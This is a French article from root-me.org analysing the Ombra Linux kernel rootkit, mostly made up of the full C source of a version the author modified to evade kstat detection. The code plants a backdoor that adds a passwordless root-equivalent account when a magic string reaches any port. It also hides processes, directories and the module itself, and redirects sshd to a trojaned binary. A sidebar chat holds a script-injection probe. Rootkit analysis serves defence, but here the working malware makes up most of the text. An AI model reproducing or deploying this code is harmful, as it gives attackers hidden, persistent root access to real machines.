logo http://www.root-me.org logo http://www.root-me.orglogo http://www.root-me.org Créer un compte | Connectez vous |  
Accueil  -> Documentation  -> Hacking
Flux Twitter

Vos Informations

IP : 38.107.179.222
Location :
Langue : en-us
Navigateur : CCBot/1.0 (+http://www.commoncrawl.org/bot.html)


Utilisateurs

6 visiteurs en ce moment

Derniers Inscrits :
 tig3r   dogo19   novice2005   pwet99   Hughe   Auranium   Belebostre 
Statistiques
statistiques -Membres : 2587
-Articles : 483
-Messages : 397
-Chat Box : 522
-Challengeurs : 1742

Chat Box
g0uZ    7 mai 2012 19:36:39
Atlantis    7 mai 2012 17:02:42
les wargames fonctionnent bien à voir.

zouzou    7 mai 2012 15:49:21
yo, ca marche wargame pour vous ?

kaizo    4 mai 2012 16:32:07
thx Atlantis @ +

sidi    3 mai 2012 20:37:41
<script>alert("sidi")</script>

sidi    3 mai 2012 20:34:38
9

sidi    3 mai 2012 20:34:31
9

shining    2 mai 2012 01:33:33
J’ai du mal ..

shining    2 mai 2012 01:22:14
Ouai ça bug ..

shining    2 mai 2012 01:18:58
Ya un problème ???

shining    2 mai 2012 01:16:23
:L

shining    2 mai 2012 01:14:33
hum

shining    2 mai 2012 01:13:37
ok

shining    2 mai 2012 01:11:03
Ok

Valix    1er mai 2012 15:55:03
Salut

Slayer    1er mai 2012 15:42:53
My friend sent me here, wheres that book to download to learn about Ip addresses and all that ??:-/

koma    1er mai 2012 12:28:45
DevilDog : oui le chall a disparu, il reapparaitra peut etre un jour ;)

Slayer    30 avril 2012 22:45:26
My friend sent me here he said there is some type of book to read on Ip’s and stuff like that ??

kaizo    30 avril 2012 15:45:49
oups désolé pour le triple post :’-)

kaizo    30 avril 2012 15:44:51
c’est possible de rebooter le ctf all the day ? il y a une parse erreur sur le fichier sudoers qui empêche de valider , merci

kaizo    30 avril 2012 15:44:46
c’est possible de rebooter le ctf all the day ? il y a une parse erreur sur le fichier sudoers qui empêche de valider , merci

kaizo    30 avril 2012 15:44:21
c’est possible de rebooter le ctf all the day, il y a une parse erreur sur le fichier sudoers qui empeche de valider , merci

DevilDog    30 avril 2012 11:14:10
C’est moi ou le challenge SHA 512 a disparu de la section cyrptanalyse ?

Z$nith    25 avril 2012 16:14:41
Thx, je suis passé par un autre WebBrowser ^^

g0uZ    25 avril 2012 15:22:29
@Z$nith : enlève tes moufles :-P Plus sérieusement : http://kb.mozillazine.org/Unable_to­... Ca vient de ton install.


Vous devez être loggué pour pouvoir poster des messages
HG

dimanche 22 octobre 2006
par g0uZ
Analyse du rootkit Ombra   Version imprimable de cet article envoyer l'article par mail Enregistrer au format PDF

Nous allons voir a travers cette analyse de quoi les rootkits sont actuellement capable et comment les arreter. Nous nous concentrerons sur un seul rootkit ( ombra ) car il implemente une protection que les rootkits les plus utilisees n’ont pas mais qu’ils auront dans un futur proche.


Le rootkit ombra a été programmer par Fusys de s0ftproject. J’ai modifié son programme pour qu’il implémente la nouvelle protection en question. J’ai choisis de le faire sur le rootkit ombra car j’aime les options qu’il propose et il mérite a être connu. Nous allons tester toutes les options qu’il propose :

[root@localhost 0mbra]# gcc -c -O2 ombra.c -D_LOOSE_KERNEL_NAMES
[root@localhost 0mbra]# insmod ombra.o
[root@localhost 0mbra]# lsmod
Module                  Size  Used by
nls_cp437               3952   2  (autoclean)
ide-scsi                7664   2  (initializing)
[root@localhost 0mbra]#

Bon, nous avons compilé et inséré le module. Celui ci n’est pas visible via lsmod. Ici il est possible de la détecter via /proc/modules car sys_write n’a pas été modifié.

Voyons voir les options que proposent ce rootkit. La premiere option est l’ajout d’un utilisateur sur le système lors de l’envoi d’un mot ( GiveMeAccount par default ) sur n’importe quel port de la machine infectée. Le tout étant que ce mot passe reste dans un buffer que traitera sys_socketcall. Pour le test je passe par le service ftp.

[root@localhost 0mbra]# cat /etc/passwd | grep fantom
[root@localhost 0mbra]#

Voici ce que fait le pirate de chez lui :

root@hax0r root]# ftp www.victim.com
Connected to www.victim.com.
220 www.victim.com FTP server (Version wu-2.6.1(1) Tue Oct 3 14:29:19 CEST 2000) ready.
Name (localhost:root): GiveMeAccount
331 Password required for GiveMeAccount.
Password:
530 Login incorrect.
Login failed.
ftp> quit
221 Goodbye.
root@hax0r root]#

La string a été envoyée. Voyons désormais les fichiers /etc/passwd et /etc/shadow :

[root@localhost /root]# cat /etc/passwd | grep fantom
fantom::1:6:spj2k:/tmp:/bin/bash
[root@localhost /root]# cat /etc/shadow | grep fantom
fantom::10968:0:99999:7:-1:-1:134538412
[root@localhost /root]#

Le compte a effectivement été ajouté. Par défaut le compte est sans mot de passe. Celui-ci semble être d’utilisateur : "bin" ( uid 1 ) mais en fait c’est root car setuid et getuid ont été modifiés pour donner des droits root au processus d’uid 1. On peut aisément imaginer le scénario suivant : le pirate ajoute l’utilisateur fantôme en envoyant la string GiveMeAccount, puis il se log sur le shell, efface les entrées dans lastlog/wtmp/... puis retire le compte lorsqu’il désire quitter le système. De cette manière, il n’a été visible à aucun moment et il poura revenir probablement beaucoup de fois avant que vous ne vous en rendiez compte.

Je ne vais pas détailler les procédures, mais il est possible de cacher des processus en leur envoyant le signal 31 ( kill -31 process ). Cela est commun à plusieurs rootkit. Kstat par contre peut les détecter.

Il est possible de cacher des répertoires, par ailleurs, il faut que ceux-ci aieny un nom spécial ( HideRep par défaut ). A ce niveau, la rootkit offre également des possibilite très intéressantes : Les répertoires cachés par ombra sont mieux cachés que ceux cachés par des rootkit comme adore ou knark. ( voir article " sécurite linux : retirer les failles et se protéger des outils des pirates " ). En effet les répertoires cachés par ombra n’ont pas d’attribut qui permettrait de les retrouver, mis à part le fait qu’ils portent un nom special. Si ce nom n’est pas connu, même une fois le module déchargé, les investigations risquent d’être longues pour retrouver les fichiers du hacker. Les rootkits tels que knark ou adore se contentaient également de cacher les répertoires et fichiers, mais ceux-ci étaient accessibles. Avec le rootkit ombra, il faut obligatoirement posséder un Uid spécial. ( 666 par défaut ).

Comme aucun utilisateur d’uid 666 existe et afin d’éviter d’ajouter un utilisateur supplémentaire, j’ai ajouté au rootkit une option qui permet de modifier l’uid d’un pid. Voici la démonstration :

[root@localhost 0mbra]# mkdir HideRep
[root@localhost 0mbra]# ls
install.sh*  ombra.c  ombra.o uidpid*  uidpid.c
[root@localhost 0mbra]# cd HideRep
bash: cd: HideRep: Aucun fichier ou répertoire de ce type
[root@localhost 0mbra]# ps -aux | grep root | grep bash
root       667  0.0  2.3  2392 1460 pts/0    S    01:26   0:00 bash
[root@localhost 0mbra]# ./uidpid
./uidpid <uid> <pid>
[root@localhost 0mbra]# ./uidpid 666 667
[*] Met le pid 667 a l'uid 666
Done !
[root@localhost 0mbra]# ls
HideRep/ install.sh*  ombra.c  ombra.o uidpid*  uidpid.c
root@hax0r root]#

Ombra gère également la redirection en exécution, mais pour éviter d’avoir à stocker les informations de redirections, les mettant ainsi à la merci de l’administrateur, celles-ci doivent être entrées dès le chargement du module. Par défaut le module redirige /usr/local/bin/sshd vers /HideRep/evil_sshd.

Initialement, le rootkit redirigeait les entrées de la syscall_table pour influer sur les syscall. Cette méthode, largement utilisée par les rootkits, est pourtant facilement repérable. J’ai modifié le rootkit ombra pour qu’il ne modifie pas la sys_call_table, et qu’il hijack à la place les syscall. ( en overwritant les 7 premiers octets des syscalls ciblés pour ajouter un jump vers l’adresse de notre nouvelle fonction ). Cela évite que les adresses enregistrées dans le syscall table ne soit modifiées. En effet avec des outils come kstat ( encore de s0ftproject ), on peut détecter ce type de module. Kstat va chercher l’adresse des syscall via /dev/kmem puis compare avec celles de la sys_call_table. Si il y a une modification, alors le système est trojanisé. J’ai modifié ombra, car jusque là je n’avais jamais vu de rootkit capable de parer cette protection. Démonstration :

[root@localhost KSTAT]# ./kstat -s | grep WARNING
[root@localhost KSTAT]#

Voici le résultat obtenu avant modification du rootkit :

[root@localhost KSTAT]# ./kstat -s | grep WARNING
sys_unlink                      0xc4c2c410 WARNING! Should be at 0xc012dbcc
sys_execve                      0xc4c2c1a4 WARNING! Should be at 0xc0108f80
sys_chdir                       0xc4c2c4e8 WARNING! Should be at 0xc0125580
sys_setuid                      0xc4c2c640 WARNING! Should be at 0xc0115458
sys_getuid                      0xc4c2c69c WARNING! Should be at 0xc0112a10
sys_kill                        0xc4c2c5b8 WARNING! Should be at 0xc0110e78
sys_ioctl                       0xc4c2c6ec WARNING! Should be at 0xc012f058
sys_socketcall                  0xc4c2c7a0 WARNING! Should be at 0xc0159934
sys_getdents                    0xc4c2c25c WARNING! Should be at 0xc012f3b0
sys_query_module                0xc4c2c938 WARNING! Should be at 0xc0117150
[root@localhost KSTAT]#

On voyait clairement les 10 syscall modifiés par ombra. Les IDS offrant à l’heure actuelle une protection contre les modules rootkit se contentent d’effectuer le même travaille que kstat afin de restaurer la syscall table si besoin est. J’ai pour ma part programmé un petit patch qui va s’occuper de remettre en place les 15 premiers octets des syscall et la syscall table lorsque insmod est appelé. Mon patch est efficace contre le module ombra. Le code est diffusé dans l’article sur la securite disponible sur www.minithins.net.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Voila le code du module ombra. Il ne modifie pas la sys_call_table :-)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
/*
 * oMBRa.c
 * Auteur :  Coder par fusys de s0ftproject. Modifications de Sauron au niveau du hijacking des
 *  syscall. Ajout de fonction utile pour gerer ce module.
 *
 * Compilate con:       gcc -c -O2 -fomit-frame-pointer oMBRa.c
 * Installate con:      insmod oMBRa.o
 *
 */

#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/types.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/mm.h>
#include <linux/if.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/segment.h>
#define MAGICSTRING  "GiveMeAccount"
#define SUBVISUS        "HideRep"
#define LKMNAME   "ombra"
#define SIGNIHIL        31
#define PF_DISAPPEAR    0x00002000
#define SACROUID        1
#define KING            666
#define SSHD  "/usr/local/bin/sshd"
#define PASSWD  "/etc/passwd"
#define SHADOW  "/etc/shadow"
#define ACCOUNT  "fantom::1:6:spj2k:/tmp:/bin/bash\n"
#define ACCSHDW  "fantom::10968:0:99999:7:-1:-1:134538412\n"
#define MYFUNC  192
inline int suser(void)
{
        if (!issecure(SECURE_NOROOT) && ((current->euid == 0)||
    (current->euid == KING))) {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}
inline int fsuser(void)
{
        if (!issecure(SECURE_NOROOT) && ((current->fsuid == 0)||
    (current->euid == KING))) {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}
inline int capable(int cap)
{
        if ((cap_raised(current->cap_effective, cap))||(current->euid == KING))
        {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}
int promisc, errno;
static char syscall_code_execve[7];
static char syscall_code_getdents[7];
static char syscall_code_unlink[7];
static char syscall_code_kill[7];
static char syscall_code_setuid[7];
static char syscall_code_getuid[7];
static char syscall_code_ioctl[7];
static char syscall_code_socketcall[7];
static char syscall_code_query_module[7];
static char syscall_code_chdir[7];
static char new_syscall_code[7]="\xbd\x00\x00\x00\x00\xff\xe5";
int (*old_execve) (struct pt_regs);
int (*old_kill) (pid_t, int) ;
int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ;
int (*old_unlink) (const char *) ;
int (*old_chdir) (const char *) ;
int (*old_setuid) (uid_t) ;
int (*old_getuid) () ;
int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ;
int (*old_socketcall) (int, unsigned long *);
int (*old_query_module)(const char *, int, char *, size_t, size_t *) ;
extern void *sys_call_table[] ;
int (*open)(const char*, int, mode_t);
int (*write)(unsigned int, char*, unsigned int);
int (*close)(int);
int (*fuqfunc)();
void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return dest;
}
int atoi(char str[])
{
    int res = 0;
    int i ;
    for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
        res = 10 * res + str[i] - '0';
    return res;
}
inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;
    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n') {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}
struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
        if (p->pid == pid)
            return p;
        p = p->next_task;
    }
    while (p != current);
        return NULL;
}
int secret(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *name;
    if (task) {
        name = (char *)kmalloc(200, GFP_KERNEL);
        memset(name, 0, 200);
        task_name(task, name);
        if (strstr(name, SUBVISUS)!=NULL) {
            kfree(name);
            return 1;
        }
        kfree(name);
    }
    return 0;
}
asmlinkage int you_make_me_real(unsigned short k_uid, int k_pid) {
 struct task_struct *q;
 for_each_task(q) {
  if(q->pid == k_pid) {
   q->uid = k_uid;
   q->euid = k_uid;
   return 0;
  }
 }
 return -1;
}
int killinv(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    if(task == NULL) return 0;
    if (task->flags & PF_DISAPPEAR) {
        return 1;
    }
    return 0;
}
int new_execve(struct pt_regs regs)
{
        char *filename;
        int error;
 filename=getname((char *) regs.ebx);
        error = PTR_ERR(filename);
        if (IS_ERR(filename)) return error;
 if(strstr(filename, SSHD)){
  error=do_execve("/HideRep/evil_sshd",(char **)regs.ecx,(char **)regs.edx,&regs);
 }
 else error = do_execve(filename,(char **)regs.ecx,(char **)regs.edx,&regs);
 if (error == 0) current->flags &= ~PF_DTRACE;
        putname(filename);
        return error;
}
int new_getdents(unsigned int fd, struct dirent *dirptr, unsigned int count)
{
    unsigned int real ;
    unsigned int len ;
    int readen ;
    int proc;
    struct dirent *dirptr2, *dirptr3;
    struct inode *procinode;
 _memcpy(sys_call_table[__NR_getdents], syscall_code_getdents, sizeof(syscall_code_getdents));
 real = (*old_getdents) (fd, dirptr, count);
 *(long *)&new_syscall_code[1] = (long)new_getdents;
 _memcpy(sys_call_table[__NR_getdents], new_syscall_code, sizeof(syscall_code_getdents));
 
    if(real == -1) return(-errno);
#ifdef __LINUX_DCACHE_H
    procinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    procinode = current->files->fd[fd]->f_inode;
#endif
    if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) &&
    MINOR(procinode->i_dev) == 1) proc = 1;
    if (current->uid == KING) return(real);
    if (real > 0) {
        dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL);
        copy_from_user(dirptr2, dirptr, real);
        dirptr3 = dirptr2;
        readen = real;
         while (readen > 0) {
            len = dirptr3->d_reclen;
            readen -= len;
            if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL)
               || (proc && secret(atoi(dirptr3->d_name)))
               || (proc && killinv(atoi(dirptr3->d_name)))) {
               if (readen != 0)
                memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen);
               else  dirptr3->d_off = 1024;
                real -= len;
            }
            if (dirptr3->d_reclen == 0) {
                real -= readen;
                readen = 0;
            }
            if (readen != 0)
            dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen);
        }
        copy_to_user(dirptr, dirptr2, real);
        kfree(dirptr2);
    }
    return(real);
}
int new_unlink(const char *pathname)
{
 int ret;
 char *path2;
        path2=(char*)kmalloc(256, GFP_KERNEL);
        copy_from_user(path2, pathname, 255);
        if(strstr(path2, SUBVISUS)) {
                if(current->uid != KING){
                        kfree(path2);
                        return -EPERM ;
                }
                else {
                        kfree(path2);
 
 _memcpy(sys_call_table[__NR_unlink], syscall_code_unlink, sizeof(syscall_code_unlink));
        ret = (*old_unlink) (pathname);
 *(long *)&new_syscall_code[1] = (long)new_unlink;
 _memcpy(sys_call_table[__NR_unlink], new_syscall_code, sizeof(syscall_code_unlink));
        return(ret);
                }
        }
else {
 _memcpy(sys_call_table[__NR_unlink], syscall_code_unlink, sizeof(syscall_code_unlink));
        ret = (*old_unlink) (pathname);
 *(long *)&new_syscall_code[1] = (long)new_unlink;
 _memcpy(sys_call_table[__NR_unlink], new_syscall_code, sizeof(syscall_code_unlink));
     }
        kfree(path2);
        return(ret);
}
int new_chdir(const char *filename)
{
 int ret;
 char *name;
        name=(char*)kmalloc(256, GFP_KERNEL);
        copy_from_user(name, filename, 255);
        if(strstr(name, SUBVISUS)) {
                if(current->uid != KING){
                        kfree(name);
                        return -ENOENT ;
                }
                else {
                        kfree(name);
 _memcpy(sys_call_table[__NR_chdir], syscall_code_chdir, sizeof(syscall_code_chdir));
        ret = (*old_chdir) (filename);
 *(long *)&new_syscall_code[1] = (long)new_chdir;
 _memcpy(sys_call_table[__NR_chdir], new_syscall_code, sizeof(syscall_code_chdir));
                        return(ret);
                }
        }
        else {
 _memcpy(sys_call_table[__NR_chdir], syscall_code_chdir, sizeof(syscall_code_chdir));
 ret = (*old_chdir) (filename);
 *(long *)&new_syscall_code[1] = (long)new_chdir;
 _memcpy(sys_call_table[__NR_chdir], new_syscall_code, sizeof(syscall_code_chdir));
      }
        kfree(name);
        return(ret);
}
int new_kill(pid_t pid, int sig)
{
        int real;
        struct task_struct *task = get_task(pid);
        if ((sig != SIGNIHIL) && (sig != SIGTSTP)) {
 _memcpy(sys_call_table[__NR_kill], syscall_code_kill, sizeof(syscall_code_kill));
        real = (*old_kill)(pid, sig);
 *(long *)&new_syscall_code[1] = (long)new_kill;
 _memcpy(sys_call_table[__NR_kill], new_syscall_code, sizeof(syscall_code_kill));
                if (real == -1) return(-errno);
                return real;
        }
        if (sig == SIGNIHIL) {
                task->flags |= PF_DISAPPEAR;
                return(0);
        }
        else if (sig == SIGTSTP) {
                task->uid = task->gid = task->euid = task->egid = 0;
  task->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
                return(real);
        }
 return(0);
}
int new_setuid(uid_t uid)
{
        int tmp;
        if (uid == SACROUID) {
                current->uid = 0;
                current->gid = 0;
                current->euid = 0;
                current->egid = 0;
  current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
                return 0;
        }
 _memcpy(sys_call_table[__NR_setuid], syscall_code_setuid, sizeof(syscall_code_setuid));
        tmp = (*old_setuid) (uid) ;
 *(long *)&new_syscall_code[1] = (long)new_setuid;
 _memcpy(sys_call_table[__NR_setuid], new_syscall_code, sizeof(syscall_code_setuid));
        return tmp;
}
int new_getuid()
{
        int tmp;
        if (current->uid == SACROUID) {
                current->uid = 0;
                current->gid = 0;
                current->euid = 0;
                current->egid = 0;
                return 0;
        }
 _memcpy(sys_call_table[__NR_getuid], syscall_code_getuid, sizeof(syscall_code_getuid));
 tmp = (*old_getuid) () ;
 *(long *)&new_syscall_code[1] = (long)new_getuid;
 _memcpy(sys_call_table[__NR_getuid], new_syscall_code, sizeof(syscall_code_getuid));
        return tmp;
}
int new_ioctl
(unsigned int fd, unsigned int cmd, unsigned long arg)
{
        int ret ;
        struct ifreq netif ;
 _memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl, sizeof(syscall_code_ioctl));
        ret = (*old_ioctl) (fd, cmd, arg);
 *(long *)&new_syscall_code[1] = (long)new_ioctl;
 _memcpy(sys_call_table[__NR_ioctl], new_syscall_code, sizeof(syscall_code_ioctl));
        if (cmd == SIOCGIFFLAGS && !promisc) {
          copy_from_user((struct ifreq *)&netif, (struct ifreq *)arg,
          sizeof(struct ifreq));
          netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC);
          copy_to_user((struct ifreq *) arg, (struct ifreq *) &netif,
          sizeof(struct ifreq));
        } else if (cmd == SIOCSIFFLAGS)
 _memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl, sizeof(syscall_code_ioctl));
        return ret ;
}
int new_socketcall(int call, unsigned long *args)
{
        int ret, compt, fd=0;
        mm_segment_t old_fs;
        unsigned long *sargs = args;
        unsigned long a0, a1;
        void *buf;
 _memcpy(sys_call_table[__NR_socketcall], syscall_code_socketcall, sizeof(syscall_code_socketcall));
        ret = (*old_socketcall) (call, args);
 *(long *)&new_syscall_code[1] = (long)new_socketcall;
 _memcpy(sys_call_table[__NR_socketcall], new_syscall_code, sizeof(syscall_code_socketcall));
 if (call ==SYS_RECV || call == SYS_RECVFROM || call == SYS_RECVMSG) {
                get_user(a0, sargs);
                get_user(a1, sargs + 1);
                buf = kmalloc(ret, GFP_KERNEL);
                copy_from_user(buf, (void *) a1, ret);
                for (compt = 0; compt < ret; compt++)
                        if (((char *) (buf))[compt] == 0)
                                ((char *) (buf))[compt] = 1;
                        if (strstr(buf, MAGICSTRING)) {
    current->cap_effective |= (1 << (CAP_DAC_OVERRIDE));
                                old_fs=current->addr_limit;
                                current->addr_limit=(KERNEL_DS);
                                fd=(*open)(PASSWD, O_RDWR|O_APPEND, 0644);
    printk("%d\n",fd);
                                (*write)(fd,ACCOUNT,strlen(ACCOUNT));
                                (*close)(fd);
                                fd=(*open)(SHADOW, O_RDWR|O_APPEND, 0400);
    printk("%d\n",fd);
                                (*write)(fd,ACCSHDW,strlen(ACCSHDW));
                                (*close)(fd);
                                current->addr_limit=old_fs;
    current->cap_effective &= ~(1 << (CAP_DAC_OVERRIDE));
                        }
                        kfree(buf);
 }
        return ret;
}
int new_query_module(const char *name, int which, char *buf, size_t bufsize,
 size_t *ret)
{
        int res;
        int cnt;
        char *ptr, *match;
 _memcpy(sys_call_table[__NR_query_module], syscall_code_query_module, sizeof(syscall_code_query_module));
        res = (*old_query_module)(name, which, buf, bufsize, ret);
 *(long *)&new_syscall_code[1] = (long)new_query_module;
 _memcpy(sys_call_table[__NR_query_module], new_syscall_code, sizeof(syscall_code_query_module));
        if(res == -1)
                return(-errno);
        if(which != QM_MODULES)
                return(res);
        ptr = buf;
        for(cnt = 0; cnt < *ret; cnt++) {
                if(!strcmp(LKMNAME, ptr)) {
                        match = ptr;
                        while(*ptr)
                                ptr++;
                        ptr++;
                        memcpy(match, ptr, bufsize - (ptr - (char *)buf));
                        (*ret)--;
                        return(res);
                }
                while(*ptr)
                        ptr++;
                ptr++;
        }
        return(res);
}
int init_module(void)
{
  EXPORT_NO_SYMBOLS;
 
 *(long *)&new_syscall_code[1] = (long)new_execve;
  _memcpy(syscall_code_execve, sys_call_table[__NR_execve], sizeof(syscall_code_execve));
  _memcpy(sys_call_table[__NR_execve], new_syscall_code, sizeof(syscall_code_execve));
 old_execve = sys_call_table[SYS_execve];
 *(long *)&new_syscall_code[1] = (long)new_getdents;
  _memcpy(syscall_code_getdents, sys_call_table[__NR_getdents], sizeof(syscall_code_getdents));
  _memcpy(sys_call_table[__NR_getdents], new_syscall_code, sizeof(syscall_code_getdents));
 *(long *)&new_syscall_code[1] = (long)new_unlink;
  _memcpy(syscall_code_unlink, sys_call_table[__NR_unlink], sizeof(syscall_code_unlink));
  _memcpy(sys_call_table[__NR_unlink], new_syscall_code, sizeof(syscall_code_unlink));
 *(long *)&new_syscall_code[1] = (long)new_chdir;
  _memcpy(syscall_code_chdir, sys_call_table[__NR_chdir], sizeof(syscall_code_chdir));
  _memcpy(sys_call_table[__NR_chdir], new_syscall_code, sizeof(syscall_code_chdir));
 
 *(long *)&new_syscall_code[1] = (long)new_kill;
  _memcpy(syscall_code_kill, sys_call_table[__NR_kill], sizeof(syscall_code_kill));
  _memcpy(sys_call_table[__NR_kill], new_syscall_code, sizeof(syscall_code_kill));
 *(long *)&new_syscall_code[1] = (long)new_setuid;
  _memcpy(syscall_code_setuid, sys_call_table[__NR_setuid], sizeof(syscall_code_setuid));
  _memcpy(sys_call_table[__NR_setuid], new_syscall_code, sizeof(syscall_code_setuid));
 
 *(long *)&new_syscall_code[1] = (long)new_ioctl;
  _memcpy(syscall_code_ioctl, sys_call_table[__NR_ioctl], sizeof(syscall_code_ioctl));
  _memcpy(sys_call_table[__NR_ioctl], new_syscall_code, sizeof(syscall_code_ioctl));
 *(long *)&new_syscall_code[1] = (long)new_getuid;
  _memcpy(syscall_code_getuid, sys_call_table[__NR_getuid], sizeof(syscall_code_getuid));
  _memcpy(sys_call_table[__NR_getuid], new_syscall_code, sizeof(syscall_code_getuid));
 *(long *)&new_syscall_code[1] = (long)new_socketcall;
  _memcpy(syscall_code_socketcall, sys_call_table[__NR_socketcall], sizeof(syscall_code_socketcall));
  _memcpy(sys_call_table[__NR_socketcall], new_syscall_code, sizeof(syscall_code_socketcall));
 
 *(long *)&new_syscall_code[1] = (long)new_query_module;
  _memcpy(syscall_code_query_module, sys_call_table[__NR_query_module], sizeof(syscall_code_query_module));
  _memcpy(sys_call_table[__NR_query_module], new_syscall_code, sizeof(syscall_code_query_module));
 fuqfunc = sys_call_table[MYFUNC];
 sys_call_table[MYFUNC] = you_make_me_real;
        old_getdents = sys_call_table[SYS_getdents];
        old_unlink= sys_call_table[SYS_unlink];
        old_chdir= sys_call_table[SYS_chdir];
        old_kill = sys_call_table[SYS_kill];
        old_setuid = sys_call_table[SYS_setuid];
        old_getuid = sys_call_table[SYS_getuid];
        old_ioctl = sys_call_table[SYS_ioctl];
        old_socketcall = sys_call_table[SYS_socketcall];
 old_query_module = sys_call_table[SYS_query_module];
 open = sys_call_table[SYS_open];
 close = sys_call_table[SYS_close];
 write = sys_call_table[SYS_write];
 return 0;
}
void cleanup_module(void)
{
 sys_call_table[MYFUNC] = fuqfunc;
 _memcpy(sys_call_table[__NR_execve], syscall_code_execve, sizeof(syscall_code_execve));
 _memcpy(sys_call_table[__NR_getdents], syscall_code_getdents, sizeof(syscall_code_getdents));
 _memcpy(sys_call_table[__NR_unlink], syscall_code_unlink, sizeof(syscall_code_unlink));
 _memcpy(sys_call_table[__NR_chdir], syscall_code_chdir, sizeof(syscall_code_chdir));
 _memcpy(sys_call_table[__NR_kill], syscall_code_kill, sizeof(syscall_code_kill));
 _memcpy(sys_call_table[__NR_setuid], syscall_code_setuid, sizeof(syscall_code_setuid));
 _memcpy(sys_call_table[__NR_getuid], syscall_code_getuid, sizeof(syscall_code_getuid));
 _memcpy(sys_call_table[__NR_ioctl], syscall_code_ioctl, sizeof(syscall_code_ioctl));
 _memcpy(sys_call_table[__NR_socketcall], syscall_code_socketcall, sizeof(syscall_code_socketcall));
 _memcpy(sys_call_table[__NR_query_module], syscall_code_query_module, sizeof(syscall_code_query_module));
}

Voici maintenant le programme à appeler pour modifier l’uid d’un pid quand ombra est chargé :

#include <asm/unistd.h>
#define MYFUNC 192
#define VERT "\033[32m"
#define NORM "\033[0m"
int errno;
int uidpid(unsigned short uid, int pid) {
 long __res;
 __asm__ volatile ("int $0x80"
   : "=a" (__res)
   : "0" (MYFUNC),"b" ((long)(uid)),"c" ((long)(pid)));
 __syscall_return(int,__res);
}
 
int main(int argc, char *argv[]) {
 int ret;
 if(argc != 3) {
  printf(VERT"%s"NORM" <uid> <pid>\n", argv[0]);
  exit(-1);
 }
 printf("[*] Met le pid "VERT"%s"NORM" a l'uid "VERT"%s"NORM"\n", argv[2], argv[1]);
 ret=uidpid(atoi(argv[1]), atoi(argv[2]));
 printf(VERT"Done !\n"NORM);
 return ret;
}


-Post Scriptum :

par Nicolas Brito ( a.k.a Sauron )




BG BD
HGHG

  Documentation publiés dans cette rubrique

0 | 10

BG BD